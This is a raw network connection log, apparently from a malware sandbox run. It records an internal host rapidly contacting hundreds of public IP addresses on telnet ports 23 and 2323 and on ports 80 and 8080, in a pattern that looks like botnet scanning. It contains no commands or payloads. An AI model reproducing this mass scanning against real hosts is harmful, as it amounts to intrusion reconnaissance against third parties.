Feb 27, 2025 07:08:36.551403999 CET	23	25794	75.87.10.26	192.168.2.14
Feb 27, 2025 07:08:36.551426888 CET	25794	23	192.168.2.14	82.150.113.199
Feb 27, 2025 07:08:36.551430941 CET	23	25794	146.205.174.89	192.168.2.14
Feb 27, 2025 07:08:36.551439047 CET	25794	23	192.168.2.14	75.87.10.26
Feb 27, 2025 07:08:36.551455021 CET	41998	80	192.168.2.14	95.45.52.12
Feb 27, 2025 07:08:36.551455021 CET	41998	80	192.168.2.14	95.45.52.12
Feb 27, 2025 07:08:36.551460981 CET	23	25794	19.195.167.10	192.168.2.14
Feb 27, 2025 07:08:36.551466942 CET	25794	23	192.168.2.14	146.205.174.89
Feb 27, 2025 07:08:36.551490068 CET	23	25794	163.241.113.92	192.168.2.14
Feb 27, 2025 07:08:36.551501036 CET	25794	23	192.168.2.14	19.195.167.10
Feb 27, 2025 07:08:36.551517963 CET	2323	25794	5.203.60.135	192.168.2.14
Feb 27, 2025 07:08:36.551533937 CET	25794	23	192.168.2.14	163.241.113.92
Feb 27, 2025 07:08:36.551547050 CET	23	25794	162.215.20.31	192.168.2.14
Feb 27, 2025 07:08:36.551568985 CET	25794	2323	192.168.2.14	5.203.60.135
Feb 27, 2025 07:08:36.551578045 CET	23	25794	34.161.83.19	192.168.2.14
Feb 27, 2025 07:08:36.551601887 CET	25794	23	192.168.2.14	162.215.20.31
Feb 27, 2025 07:08:36.551605940 CET	23	25794	58.56.161.251	192.168.2.14
Feb 27, 2025 07:08:36.551625013 CET	25794	23	192.168.2.14	34.161.83.19
Feb 27, 2025 07:08:36.551634073 CET	23	25794	169.143.234.119	192.168.2.14
Feb 27, 2025 07:08:36.551656008 CET	25794	23	192.168.2.14	58.56.161.251
Feb 27, 2025 07:08:36.551661015 CET	23	25794	91.115.29.160	192.168.2.14
Feb 27, 2025 07:08:36.551683903 CET	25794	23	192.168.2.14	169.143.234.119
Feb 27, 2025 07:08:36.551690102 CET	23	25794	101.65.81.69	192.168.2.14
Feb 27, 2025 07:08:36.551706076 CET	25794	23	192.168.2.14	91.115.29.160
Feb 27, 2025 07:08:36.551717997 CET	23	25794	159.182.160.101	192.168.2.14
Feb 27, 2025 07:08:36.551738977 CET	25794	23	192.168.2.14	101.65.81.69
Feb 27, 2025 07:08:36.551745892 CET	23	25794	58.250.214.189	192.168.2.14
Feb 27, 2025 07:08:36.551759958 CET	25794	23	192.168.2.14	159.182.160.101
Feb 27, 2025 07:08:36.551774025 CET	23	25794	89.170.81.147	192.168.2.14
Feb 27, 2025 07:08:36.551800966 CET	23	25794	164.0.135.85	192.168.2.14
Feb 27, 2025 07:08:36.551803112 CET	25794	23	192.168.2.14	58.250.214.189
Feb 27, 2025 07:08:36.551817894 CET	42268	80	192.168.2.14	95.45.52.12
Feb 27, 2025 07:08:36.551830053 CET	2323	25794	24.25.103.51	192.168.2.14
Feb 27, 2025 07:08:36.551830053 CET	25794	23	192.168.2.14	89.170.81.147
Feb 27, 2025 07:08:36.551847935 CET	25794	23	192.168.2.14	164.0.135.85
Feb 27, 2025 07:08:36.551877022 CET	25794	2323	192.168.2.14	24.25.103.51
Feb 27, 2025 07:08:36.553235054 CET	80	28098	88.132.13.82	192.168.2.14
Feb 27, 2025 07:08:36.553265095 CET	80	50780	95.215.18.102	192.168.2.14
Feb 27, 2025 07:08:36.553289890 CET	28098	80	192.168.2.14	88.132.13.82
Feb 27, 2025 07:08:36.553539038 CET	80	60836	95.206.172.103	192.168.2.14
Feb 27, 2025 07:08:36.554336071 CET	80	47362	95.131.34.169	192.168.2.14
Feb 27, 2025 07:08:36.556929111 CET	80	42464	95.141.78.110	192.168.2.14
Feb 27, 2025 07:08:36.557463884 CET	80	48178	95.73.228.68	192.168.2.14
Feb 27, 2025 07:08:36.557496071 CET	80	41998	95.45.52.12	192.168.2.14
Feb 27, 2025 07:08:36.570777893 CET	58580	8080	192.168.2.14	62.206.172.103
Feb 27, 2025 07:08:36.570784092 CET	40158	80	192.168.2.14	95.83.246.242
Feb 27, 2025 07:08:36.570784092 CET	53872	80	192.168.2.14	95.248.45.40
Feb 27, 2025 07:08:36.570791960 CET	49772	80	192.168.2.14	95.78.36.212
Feb 27, 2025 07:08:36.570792913 CET	47784	80	192.168.2.14	95.131.113.215
Feb 27, 2025 07:08:36.570877075 CET	35358	8080	192.168.2.14	95.167.18.102
Feb 27, 2025 07:08:36.575964928 CET	8080	58580	62.206.172.103	192.168.2.14
Feb 27, 2025 07:08:36.575994015 CET	80	40158	95.83.246.242	192.168.2.14
Feb 27, 2025 07:08:36.576025963 CET	58580	8080	192.168.2.14	62.206.172.103
Feb 27, 2025 07:08:36.576036930 CET	40158	80	192.168.2.14	95.83.246.242
Feb 27, 2025 07:08:36.576181889 CET	25538	8080	192.168.2.14	94.175.175.164
Feb 27, 2025 07:08:36.576183081 CET	25538	8080	192.168.2.14	62.178.142.145
Feb 27, 2025 07:08:36.576189995 CET	25538	8080	192.168.2.14	94.78.244.117
Feb 27, 2025 07:08:36.576194048 CET	25538	8080	192.168.2.14	95.6.169.209
Feb 27, 2025 07:08:36.576193094 CET	25538	8080	192.168.2.14	94.37.24.171
Feb 27, 2025 07:08:36.576194048 CET	25538	8080	192.168.2.14	31.87.63.141
Feb 27, 2025 07:08:36.576211929 CET	25538	8080	192.168.2.14	62.233.186.54
Feb 27, 2025 07:08:36.576214075 CET	25538	8080	192.168.2.14	85.72.206.246
Feb 27, 2025 07:08:36.576216936 CET	25538	8080	192.168.2.14	62.185.114.155
Feb 27, 2025 07:08:36.576217890 CET	25538	8080	192.168.2.14	85.211.228.247
Feb 27, 2025 07:08:36.576217890 CET	25538	8080	192.168.2.14	95.54.177.204
Feb 27, 2025 07:08:36.576220036 CET	25538	8080	192.168.2.14	62.45.153.222
Feb 27, 2025 07:08:36.576220989 CET	25538	8080	192.168.2.14	85.44.16.2
Feb 27, 2025 07:08:36.576226950 CET	25538	8080	192.168.2.14	62.223.185.154
Feb 27, 2025 07:08:36.576232910 CET	25538	8080	192.168.2.14	31.200.69.3
Feb 27, 2025 07:08:36.576240063 CET	25538	8080	192.168.2.14	94.171.82.175
Feb 27, 2025 07:08:36.576245070 CET	25538	8080	192.168.2.14	31.31.77.67
Feb 27, 2025 07:08:36.576251984 CET	25538	8080	192.168.2.14	95.89.70.60
Feb 27, 2025 07:08:36.576252937 CET	25538	8080	192.168.2.14	31.64.17.239
Feb 27, 2025 07:08:36.576251984 CET	25538	8080	192.168.2.14	31.121.159.184
Feb 27, 2025 07:08:36.576256990 CET	25538	8080	192.168.2.14	31.17.146.124
Feb 27, 2025 07:08:36.576265097 CET	25538	8080	192.168.2.14	95.13.40.122
Feb 27, 2025 07:08:36.576273918 CET	25538	8080	192.168.2.14	85.12.226.55
Feb 27, 2025 07:08:36.576275110 CET	25538	8080	192.168.2.14	94.150.86.23
Feb 27, 2025 07:08:36.576282978 CET	25538	8080	192.168.2.14	62.78.50.240
Feb 27, 2025 07:08:36.576302052 CET	25538	8080	192.168.2.14	94.61.236.53
Feb 27, 2025 07:08:36.576304913 CET	25538	8080	192.168.2.14	62.56.8.180
Feb 27, 2025 07:08:36.576308966 CET	25538	8080	192.168.2.14	94.102.229.14
Feb 27, 2025 07:08:36.576309919 CET	25538	8080	192.168.2.14	85.185.255.250
Feb 27, 2025 07:08:36.576309919 CET	25538	8080	192.168.2.14	31.46.37.84
Feb 27, 2025 07:08:36.576325893 CET	25538	8080	192.168.2.14	85.127.7.145
Feb 27, 2025 07:08:36.576329947 CET	25538	8080	192.168.2.14	95.222.208.54
Feb 27, 2025 07:08:36.576330900 CET	25538	8080	192.168.2.14	85.5.77.27
Feb 27, 2025 07:08:36.576334000 CET	25538	8080	192.168.2.14	31.118.192.175
Feb 27, 2025 07:08:36.576339960 CET	25538	8080	192.168.2.14	85.120.213.116
Feb 27, 2025 07:08:36.576345921 CET	25538	8080	192.168.2.14	85.101.124.132
Feb 27, 2025 07:08:36.576349974 CET	25538	8080	192.168.2.14	95.189.8.155
Feb 27, 2025 07:08:36.576349974 CET	25538	8080	192.168.2.14	62.124.62.39
Feb 27, 2025 07:08:36.576354027 CET	25538	8080	192.168.2.14	95.221.109.102
Feb 27, 2025 07:08:36.576365948 CET	25538	8080	192.168.2.14	62.190.50.247
Feb 27, 2025 07:08:36.576370001 CET	25538	8080	192.168.2.14	95.89.203.89
Feb 27, 2025 07:08:36.576370001 CET	25538	8080	192.168.2.14	94.43.243.130
Feb 27, 2025 07:08:36.576375008 CET	25538	8080	192.168.2.14	85.121.182.119
Feb 27, 2025 07:08:36.576381922 CET	25538	8080	192.168.2.14	85.34.136.246
Feb 27, 2025 07:08:36.576386929 CET	25538	8080	192.168.2.14	85.43.131.233
Feb 27, 2025 07:08:36.576401949 CET	25538	8080	192.168.2.14	62.143.15.7
Feb 27, 2025 07:08:36.576401949 CET	25538	8080	192.168.2.14	62.251.183.37
Feb 27, 2025 07:08:36.576401949 CET	25538	8080	192.168.2.14	85.12.179.220
Feb 27, 2025 07:08:36.576404095 CET	25538	8080	192.168.2.14	62.71.99.107
Feb 27, 2025 07:08:36.576423883 CET	25538	8080	192.168.2.14	85.55.22.167
Feb 27, 2025 07:08:36.576425076 CET	25538	8080	192.168.2.14	95.126.133.89
Feb 27, 2025 07:08:36.576425076 CET	25538	8080	192.168.2.14	94.19.152.67
Feb 27, 2025 07:08:36.576426983 CET	25538	8080	192.168.2.14	85.160.166.159
Feb 27, 2025 07:08:36.576428890 CET	25538	8080	192.168.2.14	85.11.208.115
Feb 27, 2025 07:08:36.576428890 CET	25538	8080	192.168.2.14	94.242.39.143
Feb 27, 2025 07:08:36.576433897 CET	25538	8080	192.168.2.14	94.216.109.233
Feb 27, 2025 07:08:36.576446056 CET	25538	8080	192.168.2.14	94.15.221.213
Feb 27, 2025 07:08:36.576446056 CET	25538	8080	192.168.2.14	94.175.87.71
Feb 27, 2025 07:08:36.576452971 CET	25538	8080	192.168.2.14	62.44.116.154
Feb 27, 2025 07:08:36.576462030 CET	25538	8080	192.168.2.14	62.4.108.199
Feb 27, 2025 07:08:36.576462984 CET	25538	8080	192.168.2.14	94.123.251.25
Feb 27, 2025 07:08:36.576464891 CET	25538	8080	192.168.2.14	31.237.192.109
Feb 27, 2025 07:08:36.576471090 CET	25538	8080	192.168.2.14	95.98.199.76
Feb 27, 2025 07:08:36.576478004 CET	25538	8080	192.168.2.14	95.252.150.191
Feb 27, 2025 07:08:36.576488972 CET	25538	8080	192.168.2.14	85.0.60.12
Feb 27, 2025 07:08:36.576494932 CET	25538	8080	192.168.2.14	85.228.77.102
Feb 27, 2025 07:08:36.576495886 CET	25538	8080	192.168.2.14	95.18.235.86
Feb 27, 2025 07:08:36.576497078 CET	25538	8080	192.168.2.14	85.83.11.58
Feb 27, 2025 07:08:36.576497078 CET	25538	8080	192.168.2.14	95.179.72.115
Feb 27, 2025 07:08:36.576510906 CET	25538	8080	192.168.2.14	85.212.31.44
Feb 27, 2025 07:08:36.576510906 CET	25538	8080	192.168.2.14	62.124.52.146
Feb 27, 2025 07:08:36.576512098 CET	25538	8080	192.168.2.14	85.51.49.61
Feb 27, 2025 07:08:36.576513052 CET	25538	8080	192.168.2.14	31.74.229.220
Feb 27, 2025 07:08:36.576524973 CET	25538	8080	192.168.2.14	94.107.28.109
Feb 27, 2025 07:08:36.576529026 CET	25538	8080	192.168.2.14	31.103.203.126
Feb 27, 2025 07:08:36.576536894 CET	25538	8080	192.168.2.14	62.74.202.132
Feb 27, 2025 07:08:36.576536894 CET	25538	8080	192.168.2.14	31.80.82.105
Feb 27, 2025 07:08:36.576550007 CET	25538	8080	192.168.2.14	85.143.182.165
Feb 27, 2025 07:08:36.576551914 CET	25538	8080	192.168.2.14	31.144.158.58
Feb 27, 2025 07:08:36.576555014 CET	25538	8080	192.168.2.14	94.105.147.172
Feb 27, 2025 07:08:36.576569080 CET	25538	8080	192.168.2.14	94.205.181.234
Feb 27, 2025 07:08:36.576570988 CET	25538	8080	192.168.2.14	94.246.234.94
Feb 27, 2025 07:08:36.576570988 CET	25538	8080	192.168.2.14	94.179.246.249
Feb 27, 2025 07:08:36.576586008 CET	25538	8080	192.168.2.14	85.94.151.76
Feb 27, 2025 07:08:36.576587915 CET	25538	8080	192.168.2.14	31.214.185.245
Feb 27, 2025 07:08:36.576591969 CET	25538	8080	192.168.2.14	31.77.139.253
Feb 27, 2025 07:08:36.576601028 CET	25538	8080	192.168.2.14	31.99.94.166
Feb 27, 2025 07:08:36.576601028 CET	25538	8080	192.168.2.14	62.145.57.61
Feb 27, 2025 07:08:36.576606989 CET	25538	8080	192.168.2.14	95.143.141.89
Feb 27, 2025 07:08:36.576611996 CET	25538	8080	192.168.2.14	62.180.99.239
Feb 27, 2025 07:08:36.576627016 CET	25538	8080	192.168.2.14	31.42.27.50
Feb 27, 2025 07:08:36.576627970 CET	25538	8080	192.168.2.14	94.77.52.52
Feb 27, 2025 07:08:36.576627970 CET	25538	8080	192.168.2.14	31.66.44.28
Feb 27, 2025 07:08:36.576631069 CET	25538	8080	192.168.2.14	95.225.36.244
Feb 27, 2025 07:08:36.576631069 CET	25538	8080	192.168.2.14	95.196.42.176
Feb 27, 2025 07:08:36.576649904 CET	25538	8080	192.168.2.14	62.183.101.14
Feb 27, 2025 07:08:36.576651096 CET	25538	8080	192.168.2.14	85.84.184.109
Feb 27, 2025 07:08:36.576652050 CET	25538	8080	192.168.2.14	95.125.52.3
Feb 27, 2025 07:08:36.576653957 CET	25538	8080	192.168.2.14	31.190.166.89
Feb 27, 2025 07:08:36.576653957 CET	25538	8080	192.168.2.14	94.233.217.191
Feb 27, 2025 07:08:36.576661110 CET	25538	8080	192.168.2.14	95.151.209.32
Feb 27, 2025 07:08:36.576668024 CET	25538	8080	192.168.2.14	85.20.236.207
Feb 27, 2025 07:08:36.576672077 CET	25538	8080	192.168.2.14	85.130.225.89
Feb 27, 2025 07:08:36.576672077 CET	25538	8080	192.168.2.14	31.178.181.154
Feb 27, 2025 07:08:36.576675892 CET	25538	8080	192.168.2.14	31.199.251.168
Feb 27, 2025 07:08:36.576678038 CET	25538	8080	192.168.2.14	85.82.73.88
Feb 27, 2025 07:08:36.576678991 CET	25538	8080	192.168.2.14	62.142.201.175
Feb 27, 2025 07:08:36.576683044 CET	25538	8080	192.168.2.14	94.70.218.18
Feb 27, 2025 07:08:36.576683044 CET	25538	8080	192.168.2.14	95.63.130.23
Feb 27, 2025 07:08:36.576698065 CET	25538	8080	192.168.2.14	31.207.202.151
Feb 27, 2025 07:08:36.576704979 CET	25538	8080	192.168.2.14	95.116.234.139
Feb 27, 2025 07:08:36.576706886 CET	25538	8080	192.168.2.14	94.255.87.193
Feb 27, 2025 07:08:36.576719046 CET	25538	8080	192.168.2.14	85.46.145.147
Feb 27, 2025 07:08:36.576721907 CET	25538	8080	192.168.2.14	31.43.174.138
Feb 27, 2025 07:08:36.576724052 CET	25538	8080	192.168.2.14	94.184.178.80
Feb 27, 2025 07:08:36.576747894 CET	25538	8080	192.168.2.14	95.64.105.181
Feb 27, 2025 07:08:36.576745987 CET	25538	8080	192.168.2.14	31.43.224.74
Feb 27, 2025 07:08:36.576745987 CET	25538	8080	192.168.2.14	95.204.245.34
Feb 27, 2025 07:08:36.576750040 CET	25538	8080	192.168.2.14	62.236.120.71
Feb 27, 2025 07:08:36.576750040 CET	25538	8080	192.168.2.14	31.175.177.9
Feb 27, 2025 07:08:36.576750040 CET	25538	8080	192.168.2.14	62.35.76.18
Feb 27, 2025 07:08:36.576756954 CET	25538	8080	192.168.2.14	95.116.192.252
Feb 27, 2025 07:08:36.576756954 CET	25538	8080	192.168.2.14	31.111.200.2
Feb 27, 2025 07:08:36.576757908 CET	25538	8080	192.168.2.14	94.28.184.150
Feb 27, 2025 07:08:36.576757908 CET	25538	8080	192.168.2.14	62.173.2.55
Feb 27, 2025 07:08:36.576756954 CET	25538	8080	192.168.2.14	95.152.136.143
Feb 27, 2025 07:08:36.576759100 CET	25538	8080	192.168.2.14	95.143.187.237
Feb 27, 2025 07:08:36.576759100 CET	25538	8080	192.168.2.14	62.190.34.179
Feb 27, 2025 07:08:36.576775074 CET	25538	8080	192.168.2.14	85.86.23.205
Feb 27, 2025 07:08:36.576775074 CET	25538	8080	192.168.2.14	85.134.154.208
Feb 27, 2025 07:08:36.576781034 CET	25538	8080	192.168.2.14	62.219.228.155
Feb 27, 2025 07:08:36.576781034 CET	25538	8080	192.168.2.14	62.18.29.197
Feb 27, 2025 07:08:36.576786041 CET	25538	8080	192.168.2.14	94.195.80.26
Feb 27, 2025 07:08:36.576800108 CET	25538	8080	192.168.2.14	85.173.4.225
Feb 27, 2025 07:08:36.576802015 CET	25538	8080	192.168.2.14	94.145.101.134
Feb 27, 2025 07:08:36.576806068 CET	25538	8080	192.168.2.14	85.145.222.205
Feb 27, 2025 07:08:36.576806068 CET	25538	8080	192.168.2.14	95.158.164.214
Feb 27, 2025 07:08:36.576809883 CET	25538	8080	192.168.2.14	85.3.145.195
Feb 27, 2025 07:08:36.576809883 CET	25538	8080	192.168.2.14	62.157.196.125
Feb 27, 2025 07:08:36.576828957 CET	25538	8080	192.168.2.14	62.148.104.66
Feb 27, 2025 07:08:36.576829910 CET	25538	8080	192.168.2.14	85.142.104.39
Feb 27, 2025 07:08:36.576832056 CET	25538	8080	192.168.2.14	31.12.67.5
Feb 27, 2025 07:08:36.576833010 CET	25538	8080	192.168.2.14	94.196.78.247
Feb 27, 2025 07:08:36.576844931 CET	25538	8080	192.168.2.14	95.182.111.8
Feb 27, 2025 07:08:36.576844931 CET	25538	8080	192.168.2.14	85.145.2.117
Feb 27, 2025 07:08:36.576850891 CET	25538	8080	192.168.2.14	31.113.223.149
Feb 27, 2025 07:08:36.576853037 CET	25538	8080	192.168.2.14	85.17.54.85
Feb 27, 2025 07:08:36.576853037 CET	25538	8080	192.168.2.14	31.100.61.92
Feb 27, 2025 07:08:36.576870918 CET	25538	8080	192.168.2.14	62.254.235.249
Feb 27, 2025 07:08:36.576870918 CET	25538	8080	192.168.2.14	85.217.182.42
Feb 27, 2025 07:08:36.576874018 CET	25538	8080	192.168.2.14	94.77.177.62
Feb 27, 2025 07:08:36.576874018 CET	25538	8080	192.168.2.14	95.150.8.38
Feb 27, 2025 07:08:36.576874018 CET	25538	8080	192.168.2.14	95.69.83.27
Feb 27, 2025 07:08:36.576879025 CET	25538	8080	192.168.2.14	95.215.141.190
Feb 27, 2025 07:08:36.576879978 CET	25538	8080	192.168.2.14	85.83.198.15
Feb 27, 2025 07:08:36.576885939 CET	25538	8080	192.168.2.14	85.41.194.38
Feb 27, 2025 07:08:36.576898098 CET	25538	8080	192.168.2.14	62.41.234.59
Feb 27, 2025 07:08:36.576900959 CET	25538	8080	192.168.2.14	94.155.83.157
Feb 27, 2025 07:08:36.576900959 CET	25538	8080	192.168.2.14	62.19.199.144
Feb 27, 2025 07:08:36.576900959 CET	25538	8080	192.168.2.14	94.133.243.199
Feb 27, 2025 07:08:36.576917887 CET	25538	8080	192.168.2.14	85.144.57.172
Feb 27, 2025 07:08:36.576925039 CET	25538	8080	192.168.2.14	62.69.183.173
Feb 27, 2025 07:08:36.576925039 CET	25538	8080	192.168.2.14	62.81.246.165
Feb 27, 2025 07:08:36.576931000 CET	25538	8080	192.168.2.14	85.126.32.164
Feb 27, 2025 07:08:36.576934099 CET	25538	8080	192.168.2.14	62.183.89.227
Feb 27, 2025 07:08:36.576935053 CET	25538	8080	192.168.2.14	31.63.64.139
Feb 27, 2025 07:08:36.576942921 CET	25538	8080	192.168.2.14	94.134.219.38
Feb 27, 2025 07:08:36.576956987 CET	25538	8080	192.168.2.14	85.147.96.161
Feb 27, 2025 07:08:36.576956987 CET	25538	8080	192.168.2.14	62.12.93.142
Feb 27, 2025 07:08:36.576960087 CET	25538	8080	192.168.2.14	95.5.24.141
Feb 27, 2025 07:08:36.576973915 CET	25538	8080	192.168.2.14	94.230.116.195
Feb 27, 2025 07:08:36.576975107 CET	25538	8080	192.168.2.14	94.167.232.237
Feb 27, 2025 07:08:36.576987028 CET	25538	8080	192.168.2.14	95.227.122.185
Feb 27, 2025 07:08:36.576987028 CET	25538	8080	192.168.2.14	94.10.133.255
Feb 27, 2025 07:08:36.576989889 CET	25538	8080	192.168.2.14	31.243.170.141
Feb 27, 2025 07:08:36.577003956 CET	25538	8080	192.168.2.14	95.214.131.223
Feb 27, 2025 07:08:36.577004910 CET	25538	8080	192.168.2.14	94.164.219.110
Feb 27, 2025 07:08:36.577008009 CET	25538	8080	192.168.2.14	94.29.33.189
Feb 27, 2025 07:08:36.577012062 CET	25538	8080	192.168.2.14	94.116.168.131
Feb 27, 2025 07:08:36.577012062 CET	25538	8080	192.168.2.14	62.179.169.204
Feb 27, 2025 07:08:36.577023029 CET	25538	8080	192.168.2.14	62.12.35.39
Feb 27, 2025 07:08:36.577028990 CET	25538	8080	192.168.2.14	31.178.71.128
Feb 27, 2025 07:08:36.577030897 CET	25538	8080	192.168.2.14	95.108.215.75
Feb 27, 2025 07:08:36.577037096 CET	25538	8080	192.168.2.14	85.21.84.24
Feb 27, 2025 07:08:36.577044964 CET	25538	8080	192.168.2.14	95.208.249.174
Feb 27, 2025 07:08:36.577050924 CET	25538	8080	192.168.2.14	94.228.123.209
Feb 27, 2025 07:08:36.577050924 CET	25538	8080	192.168.2.14	94.147.240.160
Feb 27, 2025 07:08:36.577064037 CET	25538	8080	192.168.2.14	95.223.120.113
Feb 27, 2025 07:08:36.577065945 CET	25538	8080	192.168.2.14	62.195.31.240
Feb 27, 2025 07:08:36.577080011 CET	25538	8080	192.168.2.14	94.219.180.75
Feb 27, 2025 07:08:36.577085018 CET	25538	8080	192.168.2.14	95.167.115.16
Feb 27, 2025 07:08:36.577085018 CET	25538	8080	192.168.2.14	94.210.254.250
Feb 27, 2025 07:08:36.577092886 CET	25538	8080	192.168.2.14	62.17.62.192
Feb 27, 2025 07:08:36.577105999 CET	25538	8080	192.168.2.14	85.217.62.17
Feb 27, 2025 07:08:36.577105999 CET	25538	8080	192.168.2.14	94.58.41.14
Feb 27, 2025 07:08:36.577109098 CET	25538	8080	192.168.2.14	62.11.189.134
Feb 27, 2025 07:08:36.577125072 CET	25538	8080	192.168.2.14	62.130.89.29
Feb 27, 2025 07:08:36.577125072 CET	25538	8080	192.168.2.14	94.79.27.227
Feb 27, 2025 07:08:36.577126026 CET	25538	8080	192.168.2.14	62.9.179.40
Feb 27, 2025 07:08:36.577127934 CET	25538	8080	192.168.2.14	95.105.215.125
Feb 27, 2025 07:08:36.577131033 CET	25538	8080	192.168.2.14	31.83.98.56
Feb 27, 2025 07:08:36.577137947 CET	25538	8080	192.168.2.14	95.236.131.62
Feb 27, 2025 07:08:36.577145100 CET	25538	8080	192.168.2.14	62.199.198.111
Feb 27, 2025 07:08:36.577143908 CET	25538	8080	192.168.2.14	94.66.94.16
Feb 27, 2025 07:08:36.577147007 CET	25538	8080	192.168.2.14	94.210.148.93
Feb 27, 2025 07:08:36.577150106 CET	25538	8080	192.168.2.14	62.176.91.105
Feb 27, 2025 07:08:36.577151060 CET	25538	8080	192.168.2.14	85.251.25.154
Feb 27, 2025 07:08:36.577168941 CET	25538	8080	192.168.2.14	31.58.65.24
Feb 27, 2025 07:08:36.577171087 CET	25538	8080	192.168.2.14	85.110.219.53
Feb 27, 2025 07:08:36.577172041 CET	25538	8080	192.168.2.14	62.187.10.109
Feb 27, 2025 07:08:36.577179909 CET	25538	8080	192.168.2.14	85.108.97.234
Feb 27, 2025 07:08:36.577179909 CET	25538	8080	192.168.2.14	94.101.160.178
Feb 27, 2025 07:08:36.577189922 CET	25538	8080	192.168.2.14	62.245.150.142
Feb 27, 2025 07:08:36.577208042 CET	25538	8080	192.168.2.14	85.85.87.129
Feb 27, 2025 07:08:36.577208042 CET	25538	8080	192.168.2.14	31.192.166.214
Feb 27, 2025 07:08:36.577208996 CET	25538	8080	192.168.2.14	85.165.39.154
Feb 27, 2025 07:08:36.577208996 CET	25538	8080	192.168.2.14	95.44.78.94
Feb 27, 2025 07:08:36.577215910 CET	25538	8080	192.168.2.14	94.136.192.28
Feb 27, 2025 07:08:36.577238083 CET	25538	8080	192.168.2.14	31.75.1.28
Feb 27, 2025 07:08:36.577238083 CET	25538	8080	192.168.2.14	62.65.49.124
Feb 27, 2025 07:08:36.577240944 CET	25538	8080	192.168.2.14	62.176.229.33
Feb 27, 2025 07:08:36.577240944 CET	25538	8080	192.168.2.14	62.164.88.77
Feb 27, 2025 07:08:36.577243090 CET	25538	8080	192.168.2.14	94.67.215.11
Feb 27, 2025 07:08:36.577243090 CET	25538	8080	192.168.2.14	95.55.170.67
Feb 27, 2025 07:08:36.577244043 CET	25538	8080	192.168.2.14	95.208.235.200
Feb 27, 2025 07:08:36.577244043 CET	25538	8080	192.168.2.14	62.141.234.172
Feb 27, 2025 07:08:36.577244043 CET	25538	8080	192.168.2.14	95.131.185.224
Feb 27, 2025 07:08:36.577244043 CET	25538	8080	192.168.2.14	85.50.107.59
Feb 27, 2025 07:08:36.577244043 CET	25538	8080	192.168.2.14	94.209.177.84
Feb 27, 2025 07:08:36.577255011 CET	25538	8080	192.168.2.14	62.64.34.35
Feb 27, 2025 07:08:36.577275991 CET	25538	8080	192.168.2.14	85.241.225.142
Feb 27, 2025 07:08:36.577276945 CET	25538	8080	192.168.2.14	94.125.92.6
Feb 27, 2025 07:08:36.577284098 CET	25538	8080	192.168.2.14	31.200.43.225
Feb 27, 2025 07:08:36.577284098 CET	25538	8080	192.168.2.14	85.52.73.129
Feb 27, 2025 07:08:36.577291012 CET	25538	8080	192.168.2.14	62.155.244.208
Feb 27, 2025 07:08:36.577301025 CET	25538	8080	192.168.2.14	94.204.62.80
Feb 27, 2025 07:08:36.577301025 CET	25538	8080	192.168.2.14	94.191.40.141
Feb 27, 2025 07:08:36.577306032 CET	25538	8080	192.168.2.14	94.156.19.67
Feb 27, 2025 07:08:36.577306032 CET	25538	8080	192.168.2.14	85.37.214.161
Feb 27, 2025 07:08:36.577312946 CET	25538	8080	192.168.2.14	95.154.127.230
Feb 27, 2025 07:08:36.577320099 CET	25538	8080	192.168.2.14	62.146.86.166
Feb 27, 2025 07:08:36.577325106 CET	25538	8080	192.168.2.14	94.204.4.7
Feb 27, 2025 07:08:36.577333927 CET	25538	8080	192.168.2.14	94.118.82.173
Feb 27, 2025 07:08:36.577338934 CET	25538	8080	192.168.2.14	85.89.212.213
Feb 27, 2025 07:08:36.577346087 CET	25538	8080	192.168.2.14	85.1.62.30
Feb 27, 2025 07:08:36.577358007 CET	25538	8080	192.168.2.14	31.102.122.82
Feb 27, 2025 07:08:36.577359915 CET	25538	8080	192.168.2.14	62.27.113.138
Feb 27, 2025 07:08:36.577359915 CET	25538	8080	192.168.2.14	85.27.59.186
Feb 27, 2025 07:08:36.577367067 CET	25538	8080	192.168.2.14	95.84.136.155
Feb 27, 2025 07:08:36.577374935 CET	25538	8080	192.168.2.14	94.50.20.203
Feb 27, 2025 07:08:36.577383041 CET	25538	8080	192.168.2.14	85.255.62.51
Feb 27, 2025 07:08:36.577387094 CET	25538	8080	192.168.2.14	62.253.146.224
Feb 27, 2025 07:08:36.577393055 CET	25538	8080	192.168.2.14	94.134.47.104
Feb 27, 2025 07:08:36.577395916 CET	25538	8080	192.168.2.14	62.97.11.156
Feb 27, 2025 07:08:36.577399015 CET	25538	8080	192.168.2.14	85.31.27.8
Feb 27, 2025 07:08:36.577410936 CET	25538	8080	192.168.2.14	95.226.145.223
Feb 27, 2025 07:08:36.577411890 CET	25538	8080	192.168.2.14	94.73.173.37
Feb 27, 2025 07:08:36.577410936 CET	25538	8080	192.168.2.14	31.30.47.146
Feb 27, 2025 07:08:36.577414989 CET	25538	8080	192.168.2.14	95.86.124.239
Feb 27, 2025 07:08:36.577429056 CET	25538	8080	192.168.2.14	95.129.217.42
Feb 27, 2025 07:08:36.577429056 CET	25538	8080	192.168.2.14	94.130.54.113
Feb 27, 2025 07:08:36.577429056 CET	25538	8080	192.168.2.14	95.169.67.69
Feb 27, 2025 07:08:36.577431917 CET	25538	8080	192.168.2.14	62.43.51.252
Feb 27, 2025 07:08:36.577435017 CET	25538	8080	192.168.2.14	85.134.79.94
Feb 27, 2025 07:08:36.577449083 CET	25538	8080	192.168.2.14	94.237.217.247
Feb 27, 2025 07:08:36.577452898 CET	25538	8080	192.168.2.14	62.236.202.55
Feb 27, 2025 07:08:36.577457905 CET	25538	8080	192.168.2.14	31.158.97.229
Feb 27, 2025 07:08:36.577466965 CET	25538	8080	192.168.2.14	31.23.133.23
Feb 27, 2025 07:08:36.577466965 CET	25538	8080	192.168.2.14	95.12.219.248
Feb 27, 2025 07:08:36.577474117 CET	25538	8080	192.168.2.14	95.69.89.253
Feb 27, 2025 07:08:36.577474117 CET	25538	8080	192.168.2.14	94.145.95.220
Feb 27, 2025 07:08:36.577486992 CET	25538	8080	192.168.2.14	85.149.187.28
Feb 27, 2025 07:08:36.577486992 CET	25538	8080	192.168.2.14	31.184.42.11
Feb 27, 2025 07:08:36.577491045 CET	25538	8080	192.168.2.14	95.235.15.183
Feb 27, 2025 07:08:36.577506065 CET	25538	8080	192.168.2.14	95.108.17.150
Feb 27, 2025 07:08:36.577507973 CET	25538	8080	192.168.2.14	31.218.95.37
Feb 27, 2025 07:08:36.577507019 CET	25538	8080	192.168.2.14	85.202.97.62
Feb 27, 2025 07:08:36.577508926 CET	25538	8080	192.168.2.14	31.231.64.53
Feb 27, 2025 07:08:36.577513933 CET	25538	8080	192.168.2.14	94.92.120.164
Feb 27, 2025 07:08:36.577528000 CET	25538	8080	192.168.2.14	94.179.106.200
